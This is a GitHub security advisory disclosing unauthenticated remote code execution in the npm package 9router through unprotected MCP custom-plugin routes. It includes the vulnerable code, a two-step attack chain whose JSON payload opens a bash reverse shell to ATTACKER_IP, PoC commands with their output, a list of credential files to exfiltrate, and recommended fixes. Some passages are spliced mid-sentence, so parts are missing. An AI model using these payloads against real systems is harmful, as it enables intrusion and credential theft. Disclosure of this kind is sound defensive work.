GitHub Advisoryadvisory · npm

GHSA-fhh6-4qxv-rpqj 9router: Unauthenticated Remote Code Execution via unprotected MCP custom plugin routes

CRITICAL Published 2026-05-19 Modified 2026-05-19 Official page ↗
Aliases
CVE-2026-46339
Ecosystem
npm
Packages
9router
Severity
Critical
CVSS vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H
Weaknesses
CWE-306, CWE-78
Reviewed
2026-05-19

Affected packages

• npm 9router: >= 0.4.30, < 0.4.37 → fixed in 0.4.37

Description

Summary 9router exposes two unauthenticated API endpoints that, when chained together, allow any network-adjacent attacker to execute arbitrary OS commands as the user running the 9router process — with zero prerequisites and no credentials required. The vulnerability exists because the Next.js middleware that enforces authentication (`src/proxy.js`) only guards 8 explicitly listed routes. The attack surface of `/api/cli-tools/*` and `/api/mcp/*` (40+ routes) receives no authentication whatsoever. --- Root Cause 1. Middleware Allowlist Is Too Narrow File: `src/proxy.js` ```js export const config = { matcher: [ "/", "/dashboard/:path*", "/api/shutdown", "/api/settings/:path*", "/api/keys", "/api/keys/:path*", "/api/providers/client", "/api/provider-nodes/validate", ], }; ``` Next.js middleware only runs on routes matching this list. Routes NOT listed — including `/api/cli-tools/*` and `/api/mcp/*` — bypass the `dashboardGuard` auth check entirely. 2. Unguarded Endpoint Accepts Arbitrary Command Registration File: `src/app/api/cli-tools/cowork-settings/route.js`, lines 292–319 ```js export async function POST(request) { const { baseUrl, apiKey, models, plugins, localPlugins, customPlugins } = await request.json(); // ... const customPluginsArray = Array.isArray(customPlugins) ? customPlugins : []; if (customPluginsArray.length > 0) { const { registerCustomPlugin } = require("@/lib/mcp/stdioSseBridge"); const stdioCustoms = customPluginsArray .filter((p) => p.command) .map((p) => ({ name: p.name, command: p.command, // ← attacker-controlled, no validation args: p.args || [], // ← attacker-controlled, no validation })); for (const p of stdioCustoms) registerCustomPlugin(p); // stores in globalThis } } ``` The `command` and `args` fields from the attacker's JSON are stored verbatim into `globalThis.__9routerCustomPlugins` — a process-global Map that survives Hot Module Replacement. File: `src/lib/mcp/stdioSseBridge.js`, lines 114–116 ```js function registerCustomPlugin(def) { getCustomStore().set(def.name, def); // no validation of command/args } ``` 3. Unguarded SSE Endpoint Triggers `spawn()` with Stored Command File: `src/app/api/mcp/[plugin]/sse/route.js`, lines 6–25 ```js export async function GET(request, { params }) { const { plugin } = await params; if (!findPlugin(plugin)) return new Response(`Unknown plugin: ${plugin}`, { status: 404 }); const stream = new ReadableStream({ start(controller) { sid = registerSession(plugin, send); // ← spawn() called here }, }); return new Response(stream, { ... }); } ``` File: `src/lib/mcp/stdioSseBridge.js`, line 138 ```js const proc = spawn(plugin.command, plugin.args, { stdio: ["pipe", "pipe", "pipe"], env: process.env, // inherits full environment }); ``` `spawn()` is called with `shell: false` (default), but since the attacker controls both `plugin.command` (the binary path) and `plugin.args`, this is equivalent to arbitrary command execution. --- Attack Chain ``` Attacker (no credentials) │ │ Step 1 — Register malicious plugin (POST, no auth) ▼ POST /api/cli-tools/cowork-settings Content-Type: application/json { "baseUrl": "x", "apiKey": "x", "models": ["x"], "customPlugins": [{ "name": "rev", "command": "/bin/bash", "args": ["-c", "bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1"] }] } ← {"success":true, ...} │ Step 2 — Trigger spawn() via SSE endpoint (GET, no auth) ▼ GET /api/mcp/rev/sse ← SSE stream opens → spawn("/bin/bash", ["-c", "bash -i >& /dev/tcp/..."]) ← Reverse shell connects to attacker ``` Time to exploit from first request: /tmp/pwned.txt"] }] }' → {"success":true,...} Step 2: Trigger curl -N --max-time 3 "http://TARGET:20128/api/mcp/rce1/sse" >/dev/null 2>&1 Verify cat /tmp/pwned.txt ``` Observed output (on local test instance): ``` uid=1000(sondt23) gid=1000(sondt23) groups=...,983(docker),984(ollama) sondt23 VSOC-sondt23-L Linux VSOC-sondt23-L 6.17.0-23-generic ... x86_64 GNU/Linux ``` PoC 2 — Automated PoC script ```bash File write mode (for report) python3 poc.py --target http://TARGET:20128 --mode file Reverse shell mode (interactive) python3 poc.py --target http://TARGET:20128 --mode shell --lhost ATTACKER_IP --lport 4444 ``` The script (`poc.py`) is included in this advisory. --- Impact | Category | Detail | |---|---| | Confidentiality | Full read access to server filesystem — API keys, TLS private keys, `~/.claude/settings.json` (Anthropic tokens), AWS credentials | | Integrity | Arbitrary file write, persistence via cron/systemd | | Availability | Process termination, resource exhaustion | | Lateral movement | `docker` group membership (confirmed in test) allows full container escape → host root | | Scope | Remote, unauthenticated, network-accessible | High-value exfiltration targets on a typical 9router host • `~/.claude/settings.json` — `ANTHROPIC_AUTH_TOKEN` • `~/.aws/credentials`, `~/.aws/sso/cache/*.json` — AWS keys • `$DATA_DIR/db.sqlite` — 9router local database (all stored API keys, provider configs) • TLS private keys managed by the MITM proxy (`src/mitm/`) --- Affected Versions | Version | Affected | Notes | |---|---|---| | p.command && typeof p.command === "string") .filter((p) => ALLOWED_COMMANDS.has(path.basename(p.command))) // allowlist check .map((p) => ({ name: String(p.name).replace(/[^a-zA-Z0-9_-]/g, ""), // sanitize name command: p.command, args: (p.args || []).map(String), })); ``` All three fixes should be applied together. Fix 1 alone is sufficient to prevent exploitation from unauthenticated attackers, but Fixes 2 and 3 provide defense-in-depth against authenticated users abusing the feature. ---

Related

Alias · CVE (1)

Weakness · CWE (2)

  • CWE-306 Missing Authentication for Critical Functionality weakness
  • CWE-78 Improper Neutralization of Special Elements used in an OS Command weakness

References